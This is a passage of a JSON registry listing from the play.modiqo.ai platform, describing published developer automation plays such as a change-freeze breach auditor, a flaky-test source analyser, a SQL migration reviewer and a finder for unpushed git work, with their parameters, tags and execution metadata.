immediately"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0387f447e7a25bef3cdbc1b616de701e2214107c1f8db165848593063d040259","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":5,"fan_out":1,"for_each_steps":1,"complexity":6,"apis":[],"tools":[{"name":"node","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/jaylabs/freeze-breach@0.8.0","reference":"jaylabs/freeze-breach@0.8.0","uri":"https://play.modiqo.ai/jaylabs/freeze-breach@0.8.0","manifest_uri":"https://play.modiqo.ai/jaylabs/freeze-breach@0.8.0","name":"freeze-breach","title":"freeze-breach","description":"Somebody shipped during your change freeze and you hear about it in the postmortem. On the machine this was built on, the bundled demo reads fourteen changes against three declared windows and finds two that nothing explains, with no credential. Twelve steps join freeze windows, bank holidays, weekends, GitHub deployments, releases, merged pull requests and Linear exception tickets, one process per repository, reread a sample of the claims and compare runs. It reports an unplaceable change as indeterminate, not clean, and counts every population it walked. Approvals given in chat stay invisible. Your calendar, GitHub and Linear are only ever read from; it writes twelve JSON and markdown files and posts a digest only when you give it a webhook.","owner":{"kind":"org","slug":"jaylabs"},"registry_organization":"jaylabs","tags":["freeze-breach","change-freeze","code-freeze","release-freeze","deploy-freeze","freeze-window","release-governance","change-management","deployments","github-deployments","releases","linear","google-calendar","calendar","bank-holiday","bank-holidays","holiday-freeze","hotfix","exception-tracking","audit-evidence","domain-release-ops","job-change-freeze-contradiction","audience-release-managers-and-founders","webhook","slack","discord","notification","digest","effect-write"],"primary_domain":"domain-release-ops","author":"jayanth","version":"0.8.0","published_at":"2026-09-06T13:13:15.373406+00:00","visibility":"public","quality_score":1,"size_bytes":149976,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":12,"names":["join","drift","digest","report","preflight","load_freezes","pull_changes","load_holidays","merge_changes","verify_sample","discover_repos","pull_exceptions"]},"parameters":[{"name":"mode","type":"string","required":false,"default":"demo","description":"Set demo for the bundled sample data, with no network call and no credential. Set live to read your own systems through the installed rote adapters. In this version all four legs read for real, and any leg whose adapter is missing or whose credential is refused falls back to sample data and says so on every line it touches.","values":["demo","live"],"example":"demo"},{"name":"country","type":"string","required":false,"default":"IN","description":"Whose bank holidays count as freeze days, and which timezone an all-day freeze window is measured in. IN uses India's national list plus a regional tier, US the Federal Reserve holidays, GB England and Wales.","values":["IN","US","GB"],"example":"IN"},{"name":"lookback_days","type":"string","required":false,"default":"30","description":"How far back to look, in days. Clamped to 1..180, and a value that is not a plain integer silently uses the default. The bundled sample data carries its own fixed window of the 2026 calendar, so a demo run reproduces whatever you set.","example":"30"},{"name":"calendar_id","type":"string","required":false,"default":"primary","description":"Which Google calendar carries your freeze windows. Use primary for the authenticated account's own calendar, or the calendar's address when your team keeps release windows on a shared one.","example":"primary"},{"name":"holidays_are_freeze","type":"string","required":false,"default":"true","description":"Whether a public holiday counts as a freeze day even when nobody wrote it on the release calendar. A holiday that falls inside a window you already declared is merged into it and counted once, never twice.","values":["true","false"],"example":"true"},{"name":"weekends_are_freeze","type":"string","required":false,"default":"false","description":"Whether Saturday and Sunday count as freeze days. Off by default, because a team that ships on Saturday has contradicted nothing unless somebody declared Saturday closed.","values":["true","false"],"example":"false"},{"name":"report","type":"string","required":false,"default":"findings","description":"Choose findings for the changes that need a decision. Choose all to add the clean windows and the changes that landed outside every window, which is what you want when somebody asks you to prove the quiet weeks were quiet.","values":["findings","all"],"example":"findings"},{"name":"repos","type":"string","required":false,"default":"","description":"Which repositories to read, as a comma separated list of owner/repo. Empty means a live run reads the ten most recently pushed repositories of the authenticated GitHub account and names them. An entry that is not owner/repo is refused by name rather than read as an empty result.","example":"acme/acme-app,acme/acme-api"},{"name":"freeze_keywords","type":"string","required":false,"default":"","description":"Comma separated words that make a calendar event a freeze window, matched inside the event title. Empty uses freeze, code freeze, change freeze, no deploy, blackout, launch, release window and month-end close. Cancelled events are never counted.","example":"freeze,blackout,no deploy"},{"name":"exception_labels","type":"string","required":false,"default":"","description":"Comma separated Linear labels that mark an issue as an approved exception. Empty uses freeze-exception, hotfix, emergency and incident. The label decides, so an ordinary ticket merely mentioned in a pull request is never read as approval. A live run also resolves every ticket id a change names, and one that resolves to nothing is reported as indeterminate rather than unexplained.","example":"freeze-exception,incident"},{"name":"samples_dir","type":"string","required":false,"default":"","description":"Where the demo data lives. Empty means the sample set bundled inside this play. Anything else is a directory in the run workspace, or an absolute path, holding this play's own sample files.","example":"my-samples"},{"name":"strict_live","type":"string","required":false,"default":"false","description":"Which legs must really be live, or nothing runs. Set false to let any leg fall back to labelled sample data, true to demand all four, or a list such as github,linear. A system name is accepted for the leg that reads it. Naming a leg that cannot go live stops the run before anything is read, and github and linear are the two that can in this version.","example":"changes,exceptions"},{"name":"timezone","type":"string","required":false,"default":"","description":"Which zone a day without one is measured in, as an IANA name such as Asia/Kolkata. Empty uses the zone the source itself declares, which is your calendar's for a freeze window and the country's for a holiday or a weekend. A name this play cannot place is reported and the run carries on, and the weekend windows it would have decided are marked indeterminate rather than placed on a guess.","example":"Asia/Kolkata"},{"name":"compare_to","type":"string","required":false,"default":"","description":"A previous run's contradictions.json to compare this one with, as a path in the run workspace or an absolute one. Empty falls back to the newest run in state_dir, and with neither the comparison is skipped and says so rather than printing a drift of zero it never measured.","example":"last-week/contradictions.json"},{"name":"state_dir","type":"string","required":false,"default":"","description":"A directory this play both reads its own history from and writes each run into. Point a weekly schedule at one and every run compares itself with the one before it, with nothing else to wire. Empty means this run remembers nothing and compares nothing unless compare_to names a file.","example":"fb-state"},{"name":"webhook_url","type":"string","required":false,"default":"","description":"A Slack or Discord incoming webhook to post the digest to. Empty is the default and means no request is made and no socket is opened, and the digest is still written to disk. This is the one thing this play sends anywhere; everything else it does to your systems is a read. Only the scheme and host of this URL are ever recorded, because the rest of it is the secret.","example":"https://hooks.slack.com/services/T000/B000/xxxx"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a48b21736ff370d108f9ecb3ec35ca70f366dd39f0bbbe0c5b7a1a37afbbaef0","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":12,"kinds":{"api":0,"shell":12,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":9,"width":3,"fan_out":4,"for_each_steps":1,"complexity":12,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":12}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/flaky-signals@1.2.3","reference":"lgoyal6/flaky-signals@1.2.3","uri":"https://play.modiqo.ai/lgoyal6/flaky-signals@1.2.3","manifest_uri":"https://play.modiqo.ai/lgoyal6/flaky-signals@1.2.3","name":"flaky-signals","title":"flaky-signals","description":"A flaky test costs more than a missing one, because it trains the team to re-run CI instead of reading it. This reads test SOURCE for causes rather than CI history for symptoms, so it works offline, needs no credentials, and works on a repository with no CI and on a test that has never once run. Seven causes, ranked by how reliably each actually flakes rather than by how easy it was to match: a bare sleep standing in for a wait condition, and an assertion on Go map or Rust HashMap iteration order, are near-certain; unseeded randomness, a wall-clock assertion, shared module-level state and a sub-100ms tolerance are likely; a hardcoded port is only as dangerous as the CI concurrency it runs under, and is graded that way. Python dicts and JS Maps are insertion-ordered and deliberately NOT reported. JS/TS, Python, Go, Rust, C++ and Java. Read-only, offline.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","testing-workflows","job-flaky-test-audit","tool-static-analysis","effect-read-only","flaky-tests","test-flakiness","sleep-in-tests","map-iteration-order","unseeded-randomness","wall-clock-assertion","shared-state","hardcoded-port","timing-tolerance","ci-reruns","no-ci-history-needed","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"1.2.3","published_at":"2026-09-06T01:00:11.434731+00:00","visibility":"public","quality_score":1,"size_bytes":46489,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory tree whose test files should be read for structural flake causes","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"8","description":"How many directory levels below root to search for test files","example":"4"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:00213822cab8bf26260461293e848481daee395432f6a2b102ec81911397c6d3","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":12,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/migration-guard@0.7.2","reference":"lgoyal6/migration-guard@0.7.2","uri":"https://play.modiqo.ai/lgoyal6/migration-guard@0.7.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/migration-guard@0.7.2","name":"migration-guard","title":"migration-guard","description":"Reviews SQL migrations for the operations that take a production database down: index builds that lock writes, column type changes that rewrite the table, constraints added without NOT VALID, and destructive statements with no WHERE clause. Statement-level analysis, so comments and string literals never trigger findings, tables created in the same migration are treated as empty, and the SQLite table-rebuild pattern is recognised instead of flagged. A run that found no .sql file, or one whose files could not be read, reports that scope instead of reporting SAFE. Read-only, never connects to a database, no credentials.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-migration-review","tool-sql","effect-read-only","sql-migrations","database-downtime","locking-index-build","table-rewrite","not-valid-constraint","destructive-statement","missing-where","column-type-change","zero-downtime","production-outage","audience-developers","audience-sre","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.7.2","published_at":"2026-09-05T23:58:50.489277+00:00","visibility":"public","quality_score":1,"size_bytes":10558,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":2,"names":["analyze","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory containing SQL migration files to review","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to search for .sql files","example":"3"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a47d5fac8c80cab4fc61dedf979432a9aa4881298ed19b5ec0427f52e8eb3817","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":8,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lgoyal6/unpushed-work@0.8.2","reference":"lgoyal6/unpushed-work@0.8.2","uri":"https://play.modiqo.ai/lgoyal6/unpushed-work@0.8.2","manifest_uri":"https://play.modiqo.ai/lgoyal6/unpushed-work@0.8.2","name":"unpushed-work","title":"unpushed-work","description":"Finds work that exists only on this machine. Scans every git repo under a directory and ranks them by how much would be lost if the disk died tonight: repos with no remote at all, branches never pushed, commits ahead of upstream, uncommitted changes, and forgotten stashes. A scan that found no repository, or one whose walk stopped at the depth limit, says so instead of reporting clean, and submodules sitting in detached HEAD at the commit their superproject records are reported as by-design rather than as lost work. Read-only, no credentials, no writes, needs only git and python3.","owner":{"kind":"user","slug":"lgoyal6"},"registry_organization":"lgoyal6","tags":["domain-engineering","engineering-workflows","job-backup-audit","tool-git","effect-read-only","git","backup","risk","housekeeping","unpushed","unpushed-commits","ahead-of-origin","stash","no-remote","never-pushed-branch","uncommitted-changes","dirty-repos","if-the-disk-died","scan-all-repos","audience-developers","audience-maintainers","read-only","offline","no-api-key","no-credentials","local-only"],"primary_domain":"domain-engineering","author":"lgoyal6","version":"0.8.2","published_at":"2026-09-05T23:58:43.228487+00:00","visibility":"public","quality_score":1,"size_bytes":11033,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":2,"names":["audit","discover"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Directory to scan for git repositories","example":"/Users/you/your-repo"},{"name":"depth","type":"string","required":false,"default":"6","description":"How many directory levels below root to search for repositories. The walk reports how many directories sat at this limit and were not descended into, so a shortfall is visible instead of silent.","example":"6"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7b8716c5baa3e7c5c7a203854ead0b7710cd25fb2577dabe6e33ec091632f092","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":8,"for_each_steps":1,"complexity":2,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/tanishk/cicd-failure-diagnostic@1.1.0","reference":"tanishk/cicd-failure-diagnostic@1.1.0","uri":"https://play.modiqo.ai/tanishk/cicd-failure-diagnostic@1.1.0","manifest_uri":"https://play.modiqo.ai/tanishk/cicd-failure-diagnostic@1.1.0","name":"cicd-failure-diagnostic","title":"cicd-failure-diagnostic","description":"Diagnoses failed GitHub Actions runs, traces root cause through repository evidence, and produces validated patches","owner":{"kind":"user","slug":"tanishk"},"registry_organization":"tanishk","tags":["ci-cd","github-actions","diagnostics","troubleshooting"],"primary_domain":"domain-uncategorized","author":"Hermes Agent","version":"1.1.0","published_at":"2026-09-05T19:57:35.565343+00:00","visibility":"public","quality_score":0.875,"size_bytes":54068,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":18,"names":["list_jobs","auth_github","analyze_logs","build_report","trace_to_repo","generate_patch","resolve_run_id","validate_patch","find_failed_run","get_run_details","classify_failure","investigate_repo","filter_failed_jobs","aggregate_repo_files","check_files_to_fetch","determine_root_cause","git_history_analysis","download_failed_job_logs"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"run_id","type":"string","required":false,"default":"","description":"Specific workflow run ID to diagnose (default: latest failed run)"},{"name":"branch","type":"string","required":false,"description":"Branch to limit search (default: all branches)"},{"name":"workflow_name","type":"string","required":false,"description":"Workflow name to limit search (default: all workflows)"},{"name":"generate_patch","type":"boolean","required":false,"default":"false","description":"Whether to generate a patch for the root cause"}],"execution":{"adapters":[{"id":"tanishk/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:1fa34221ec36da1c7925da727fb03eb6b72d6b83df96edce059cfda8d316fa0a","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":18,"kinds":{"api":3,"shell":14,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":17,"width":2,"fan_out":0,"for_each_steps":0,"complexity":36,"apis":[{"adapter":"github","steps":4,"methods":["actions/get-workflow-run","actions/list-jobs-for-workflow-run","actions/list-workflow-runs-for-repo"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"tanishk/github","version":"0.0.2","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":14}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":true},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/sahil-labs/trace-doctor@0.3.0","reference":"sahil-labs/trace-doctor@0.3.0","uri":"https://play.modiqo.ai/sahil-labs/trace-doctor@0.3.0","manifest_uri":"https://play.modiqo.ai/sahil-labs/trace-doctor@0.3.0","name":"trace-doctor","title":"trace-doctor","description":"Sub-second 7-node parallel DAG canary with active model inventory, GPU VRAM profiling, and dynamic auto-sizing ANSI dashboard.","owner":{"kind":"org","slug":"sahil-labs"},"registry_organization":"sahil-labs","tags":[],"primary_domain":"domain-uncategorized","author":"CyberCodezilla","version":"0.3.0","published_at":"2026-09-05T19:31:33.986153+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":7490,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":7,"names":["gpu_probe","hf_registry","host_memory","ollama_probe","span_injection","otlp_grpc_probe","otlp_http_probe"]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:4dd4fbdd534dd2ccce8a8645c01bc9009275816d5f380f2560dec164e9367e8f","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":7,"kinds":{"api":0,"shell":7,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":7,"fan_out":0,"for_each_steps":0,"complexity":7,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/viva-survival-mode@0.23.24","reference":"sakshamsai26/viva-survival-mode@0.23.24","uri":"https://play.modiqo.ai/sakshamsai26/viva-survival-mode@0.23.24","manifest_uri":"https://play.modiqo.ai/sakshamsai26/viva-survival-mode@0.23.24","name":"viva-survival-mode","title":"viva-survival-mode","description":"Explain your own code before the professor asks. Finds complex functions, architecture signals, dependencies, algorithms, magic numbers, and likely viva questions in a local project. Read-only: never executes code or reads secret values.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.23.24","published_at":"2026-09-05T12:20:17.542079+00:00","visibility":"public","quality_score":1,"size_bytes":5144,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":11,"names":["scope","inspect","boundary","classify","inventory","preflight","auth_github","constraints","create_issue","dependencies","verification"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a project folder you are authorized to inspect."},{"name":"publish_issue","type":"boolean","required":false,"default":false,"description":"Create a GitHub issue containing the redacted viva preparation."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":["create_issue"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:3e032f20dbddf96c0489edc9a62f7a5652d2af6ff649bdbe9afbed1eddc22418","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":11,"kinds":{"api":1,"shell":9,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":10,"fan_out":0,"for_each_steps":0,"complexity":22,"apis":[{"adapter":"github","steps":2,"methods":["issues/create"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":9}],"writes":{"declared":[],"inferred":["create_issue"],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/sakshamsai26/pr-review-me-first@0.23.24","reference":"sakshamsai26/pr-review-me-first@0.23.24","uri":"https://play.modiqo.ai/sakshamsai26/pr-review-me-first@0.23.24","manifest_uri":"https://play.modiqo.ai/sakshamsai26/pr-review-me-first@0.23.24","name":"pr-review-me-first","title":"pr-review-me-first","description":"Before asking another person to review a diff, Pr Review Me First turns the local change since a validated base revision into a reviewer-oriented preflight. It inventories changed paths, flags visible debug leftovers and unfinished markers, highlights configuration/API/dependency risk, detects scope signals that deserve explanation, identifies test-related evidence, and phrases high-value questions a reviewer can answer from the change. It is intentionally not an automated approval or security scan: behavior, code quality, generated content, hidden tests, and production impact cannot be proven from a local diff and are marked as limits rather than guessed. Read-only: it does not run tests, modify Git, write files, fetch, push, or contact a remote.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.23.24","published_at":"2026-09-05T12:19:01.748593+00:00","visibility":"public","quality_score":1,"size_bytes":6262,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":9,"names":["review","boundary","classify","inventory","preflight","auth_github","constraints","create_issue","recommendations"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute repository path you are authorized to inspect."},{"name":"base","type":"string","required":false,"default":"HEAD~1","description":"Git base revision to compare with HEAD."},{"name":"publish_issue","type":"boolean","required":false,"default":false,"description":"Create a GitHub issue containing the redacted review preflight."}],"execution":{"adapters":[{"id":"sakshamsai26/github","name":"github","version":null,"credential_status":"required"},{"id":"github","name":"github","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":["create_issue"],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":true},"integrity":{"digest":"sha256:7dc5c714182e228abfbe1e8155f7abad104de1216221acddf9e8725d38551899","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":9,"kinds":{"api":1,"shell":7,"browser":0,"auth":1,"other":0},"distinct_kinds":2,"depth":2,"width":8,"fan_out":0,"for_each_steps":0,"complexity":18,"apis":[{"adapter":"github","steps":2,"methods":["issues/create"],"display_name":null,"host":null,"kind":"unknown","tools":null,"fingerprint":null,"source":"sakshamsai26/github","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[{"name":"python3","kind":"tool","source":"declared","count":7}],"writes":{"declared":[],"inferred":["create_issue"],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/saikiran-labs/play-change-review@0.1.3","reference":"saikiran-labs/play-change-review@0.1.3","uri":"https://play.modiqo.ai/saikiran-labs/play-change-review@0.1.3","manifest_uri":"https://play.modiqo.ai/saikiran-labs/play-change-review@0.1.3","name":"play-change-review","title":"play-change-review","description":"You trusted one Play version. What changed in the next one? Compares two immutable releases of the same Play across inputs, declared access, runtime requirements, registry-visible execution structure and artifact identity without executing either reviewed Play.","owner":{"kind":"org","slug":"saikiran-labs"},"registry_organization":"saikiran-labs","tags":["rote-playoffs","play-inspection","change-review","agent-governance","release-review"],"primary_domain":"domain-uncategorized","author":"Sai","version":"0.1.3","published_at":"2026-09-05T10:57:43.949951+00:00","visibility":"public","quality_score":1,"size_bytes":34679,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":3,"names":["review_versions","validate_approved","validate_candidate"]},"parameters":[{"name":"approved","type":"string","required":true,"description":"Exact immutable URI or owner/name@version for the Play release you already reviewed or trusted.","example":"amaan-playoffs/git-handoff-snapshot@0.1.0"},{"name":"candidate","type":"string","required":true,"description":"Exact immutable URI or owner/name@version for the candidate release you want to review.","example":"amaan-playoffs/git-handoff-snapshot@0.2.0"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:8f86c347eb1a00841a3fb39fc832db0585b6246e0f605281fe56089ed59131b1","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/teach-me-my-own-code@0.2.22","reference":"sakshamsai26/teach-me-my-own-code@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/teach-me-my-own-code@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/teach-me-my-own-code@0.2.22","name":"teach-me-my-own-code","title":"teach-me-my-own-code","description":"Teach a project back to its author: map recognizable areas, complex control flow, algorithms, magic values, dependencies, and questions to practice. Read-only and non-executing.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T09:02:44.554156+00:00","visibility":"public","quality_score":1,"size_bytes":7040,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":10,"names":["scope","teach","boundary","classify","inventory","preflight","constraints","dependencies","verification","write_report"]},"parameters":[{"name":"root","type":"string","required":true,"description":"Absolute path to a project folder you are authorized to inspect."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project files."}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ea06b80510fb54238d78cab14157b88c48476c2f6dd8443713388963e526cd24","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":10,"kinds":{"api":0,"shell":10,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":10,"fan_out":0,"for_each_steps":0,"complexity":10,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":10}],"writes":{"declared":[],"inferred":[],"tagged":true},"read_only":false,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sakshamsai26/wtf-did-professor-say@0.2.22","reference":"sakshamsai26/wtf-did-professor-say@0.2.22","uri":"https://play.modiqo.ai/sakshamsai26/wtf-did-professor-say@0.2.22","manifest_uri":"https://play.modiqo.ai/sakshamsai26/wtf-did-professor-say@0.2.22","name":"wtf-did-professor-say","title":"wtf-did-professor-say","description":"Extract what was taught, emphasized, assigned, and time-sensitive from messy lecture notes, transcripts, slides, or announcements. Read-only text analysis with explicit UNKNOWN states.","owner":{"kind":"user","slug":"sakshamsai26"},"registry_organization":"sakshamsai26","tags":["developer-tools","evidence-analysis","workflow-planning","effect-write"],"primary_domain":"domain-uncategorized","author":"Saksham","version":"0.2.22","published_at":"2026-09-05T08:58:28.607709+00:00","visibility":"public","quality_score":1,"size_bytes":7036,"license":null,"stats":{"downloads":8,"installs":0},"steps":{"count":10,"names":["scope","extract","boundary","classify","inventory","preflight","constraints","dependencies","verification","write_report"]},"parameters":[{"name":"notes","type":"string","required":true,"description":"Plain-text notes, transcript, slide text, or announcement; do not include credentials."},{"name":"output_dir","type":"string","required":false,"default":"","description":"Optional existing absolute directory outside the analyzed project. When supplied, creates a new run-owned report directory containing report.md and receipt.json; it never changes project 